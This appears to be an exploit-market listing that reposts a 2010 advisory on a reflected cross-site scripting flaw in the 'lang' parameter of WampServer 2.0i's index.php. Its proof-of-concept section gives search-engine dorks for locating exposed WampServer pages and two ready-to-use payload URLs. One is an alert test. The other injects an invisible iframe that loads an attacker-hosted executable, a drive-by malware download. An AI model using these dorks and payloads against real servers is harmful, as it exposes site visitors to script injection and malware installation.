[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WampServer 2.0i (index.php) Remote Cross Site Scripting Vulnerability

Author
LiquidWorm
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11043
Category
web applications
Date add
23-02-2010
Platform
unsorted
=====================================================================
WampServer 2.0i (index.php) Remote Cross Site Scripting Vulnerability
=====================================================================

----------------------------------------------------------------

Title: WampServer 2.0i (index.php) Remote Cross Site Scripting Vulnerability


Summary: WampServer - Apache, PHP, MySQL on Windows

Product web page: http://www.wampserver.com

Current version: 2.0i

Vulnerability discovered by Gjoko "LiquidWorm" Krstic

Zero Science Lab - http://www.zeroscience.mk

liquidworm gmail com

26.01.2010

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4926.php

----------------------------------------------------------------

Dork:

	"WampServer - Donate - Anaska"
	"WAMPSERVER Homepage"


PoC:

	http://[site]/index.php?lang=%3Cscript%3Ealert%28%22ZSL%20Testingz%22%29%3C/script%3E
	http://[site]/index.php?lang=%3Ciframe%20height=%220%22%20width=%220%22%20frameborder=%220%22%20src=%22http://[evil .exe link]%22%3E%3C/iframe%3E




#  0day.today [2024-11-16]  #